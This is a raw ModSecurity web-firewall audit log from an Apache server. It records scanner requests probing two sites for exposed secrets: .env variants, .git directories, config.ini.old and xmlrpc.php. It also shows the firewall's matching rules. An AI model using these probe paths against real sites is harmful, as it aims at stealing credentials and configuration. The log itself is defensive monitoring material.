X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=11e1d6000014928e00d833ffae56de821750032802; expires=Mon, 16 Jun 2025 01:13:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f387727-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/site/.env"] [unique_id "aE9hoT_3U3BzRxhKqekndwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032801808007 694835 (- - -) Stopwatch2: 1750032801808007 694835; combined=2271, p1=513, p2=1666, p3=0, p4=0, p5=92, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f387727-Z-- --3ed45a3b-A-- [16/Jun/2025:05:43:30.691206 +0530] aE9hqqpdvXW4_hknQUUzHAAAAAo 185.177.72.210 44604 127.0.0.1 7081 --3ed45a3b-B-- GET /xampp/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3ed45a3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aed5d4a2ae23249ad9cf17f4c98433ba1750032810; expires=Mon, 16 Jun 2025 01:13:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ed45a3b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/xampp/.git/"] [unique_id "aE9hqqpdvXW4_hknQUUzHAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032810036338 654930 (- - -) Stopwatch2: 1750032810036338 654930; combined=2184, p1=417, p2=1678, p3=0, p4=0, p5=88, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ed45a3b-Z-- --6c9dba7b-A-- [16/Jun/2025:05:43:31.689120 +0530] aE9hq1EBvmqd8j7Fed2qMAAAABM 185.177.72.210 44664 127.0.0.1 7081 --6c9dba7b-B-- GET /gcp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6c9dba7b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ec5d41eb3cab24b9817de6e8e86a3dee1750032811; expires=Mon, 16 Jun 2025 01:13:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6c9dba7b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/gcp/.env"] [unique_id "aE9hq1EBvmqd8j7Fed2qMAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032811023019 666163 (- - -) Stopwatch2: 1750032811023019 666163; combined=1853, p1=379, p2=1380, p3=0, p4=0, p5=93, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6c9dba7b-Z-- --5be3a81e-A-- [16/Jun/2025:05:44:15.539040 +0530] aE9h1g9THibLN0xLxETuKQAAAAk 128.199.112.101 52566 127.0.0.1 7081 --5be3a81e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5be3a81e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5be3a81e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9h1g9THibLN0xLxETuKQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032854497939 1041156 (- - -) Stopwatch2: 1750032854497939 1041156; combined=2449, p1=434, p2=1636, p3=43, p4=60, p5=170, sr=136, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5be3a81e-Z-- --ea13050b-A-- [16/Jun/2025:05:44:28.670506 +0530] aE9h46gCBnvq3q-iXzICxwAAABc 185.177.72.210 37648 127.0.0.1 7081 --ea13050b-B-- GET /:8888/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea13050b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23fe42fcbe254846adae97645bd054b91750032868; expires=Mon, 16 Jun 2025 01:14:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea13050b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/api/.env.local"] [unique_id "aE9h46gCBnvq3q-iXzICxwAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032867831275 839295 (- - -) Stopwatch2: 1750032867831275 839295; combined=1749, p1=395, p2=1261, p3=0, p4=0, p5=93, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea13050b-Z-- --635cd177-A-- [16/Jun/2025:05:44:34.600223 +0530] aE9h6fthHqQhfrOWofuMqAAAAAA 185.177.72.210 35400 127.0.0.1 7081 --635cd177-B-- GET /:5601/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --635cd177-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=75f3b51f4f54881ec122d1d1fcb66dd11750032874; expires=Mon, 16 Jun 2025 01:14:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --635cd177-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/project/.env"] [unique_id "aE9h6fthHqQhfrOWofuMqAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032873922257 678029 (- - -) Stopwatch2: 1750032873922257 678029; combined=1908, p1=372, p2=1452, p3=0, p4=0, p5=83, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --635cd177-Z-- --fa9f7e42-A-- [16/Jun/2025:05:44:36.612529 +0530] aE9h66gCBnvq3q-iXzICywAAABc 185.177.72.210 35496 127.0.0.1 7081 --fa9f7e42-B-- GET /config.ini.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fa9f7e42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9417bc21bff0daf8d17934319b52e0e61750032876; expires=Mon, 16 Jun 2025 01:14:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fa9f7e42-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ini.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".ini.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.ini.old"] [unique_id "aE9h66gCBnvq3q-iXzICywAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032875918210 694419 (- - -) Stopwatch2: 1750032875918210 694419; combined=2504, p1=411, p2=1939, p3=0, p4=0, p5=154, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fa9f7e42-Z-- --58ff326e-A-- [16/Jun/2025:05:44:38.641123 +0530] aE9h7Q9THibLN0xLxETuNAAAAAk 185.177.72.210 35602 127.0.0.1 7081 --58ff326e-B-- GET /:8008/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --58ff326e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db396051cdcacf5dfe9ede2d4f8f39131750032878; expires=Mon, 16 Jun 2025 01:14:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --58ff326e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/laravel/.env"] [unique_id "aE9h7Q9THibLN0xLxETuNAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032877915404 725785 (- - -) Stopwatch2: 1750032877915404 725785; combined=2477, p1=525, p2=1849, p3=0, p4=0, p5=103, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --58ff326e-Z-- --f9b3bb40-A-- [16/Jun/2025:05:44:45.591161 +0530] aE9h9FEBvmqd8j7Fed2qWwAAABM 185.177.72.210 47102 127.0.0.1 7081 --f9b3bb40-B-- GET /.git/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f9b3bb40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25e533c412e2acc98dab52685e185dc61750032885; expires=Mon, 16 Jun 2025 01:14:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f9b3bb40-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/head"] [unique_id "aE9h9FEBvmqd8j7Fed2qWwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032884942559 648711 (- - -) Stopwatch2: 1750032884942559 648711; combined=1866, p1=334, p2=1408, p3=0, p4=0, p5=124, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f9b3bb40-Z-- --1d390f28-A-- [16/Jun/2025:05:44:46.633282 +0530] aE9h9T_3U3BzRxhKqeknrAAAAAM 185.177.72.210 47138 127.0.0.1 7081 --1d390f28-B-- GET /:8181/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1d390f28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ad5cfd5e65ddb5272d4e8d121e6f9881750032886; expires=Mon, 16 Jun 2025 01:14:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1d390f28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.production"] [unique_id "aE9h9T_3U3BzRxhKqeknrAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032885967132 666213 (- - -) Stopwatch2: 1750032885967132 666213; combined=2180, p1=402, p2=1678, p3=0, p4=0, p5=100, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d390f28-Z-- --a3dd9e34-A-- [16/Jun/2025:05:44:53.624347 +0530] aE9h_KpdvXW4_hknQUUzSwAAAAo 185.177.72.210 48122 127.0.0.1 7081 --a3dd9e34-B-- GET /:9000/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3dd9e34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=55d542b25dd6cf2817861c44a17a9ecd1750032893; expires=Mon, 16 Jun 2025 01:14:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3dd9e34-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/database/.env"] [unique_id "aE9h_KpdvXW4_hknQUUzSwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032892933852 690569 (- - -) Stopwatch2: 1750032892933852 690569; combined=1978, p1=419, p2=1468, p3=0, p4=0, p5=91, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3dd9e34-Z-- --fb5ae807-A-- [16/Jun/2025:05:44:56.486470 +0530] aE9h_6gCBnvq3q-iXzIC2QAAABc 185.177.72.210 48226 127.0.0.1 7081 --fb5ae807-B-- GET /:8008/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fb5ae807-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=974c3ea55b840f23301c0bc1f297f60c1750032896; expires=Mon, 16 Jun 2025 01:14:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fb5ae807-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/production/.env"] [unique_id "aE9h_6gCBnvq3q-iXzIC2QAAABc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032895811751 674782 (- - -) Stopwatch2: 1750032895811751 674782; combined=1724, p1=390, p2=1239, p3=0, p4=0, p5=94, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb5ae807-Z-- --87c4290c-A-- [16/Jun/2025:05:44:59.518388 +0530] aE9iAvbo0R64L12N_alS6AAAAAQ 185.177.72.210 48354 127.0.0.1 7081 --87c4290c-B-- GET /.c9/metadaten/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87c4290c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0eabeabc736fc33e9ee7857d36ca94dc1750032899; expires=Mon, 16 Jun 2025 01:14:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87c4290c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.c9/metadaten/umgebung/.env"] [unique_id "aE9iAvbo0R64L12N_alS6AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032898862481 656018 (- - -) Stopwatch2: 1750032898862481 656018; combined=2009, p1=381, p2=1494, p3=0, p4=0, p5=133, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87c4290c-Z-- --7964295a-A-- [16/Jun/2025:05:45:15.835499 +0530] aE9iEg9THibLN0xLxETuUQAAAAk 128.199.112.101 57386 127.0.0.1 7081 --7964295a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7964295a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7964295a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9iEg9THibLN0xLxETuUQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032914814110 1021459 (- - 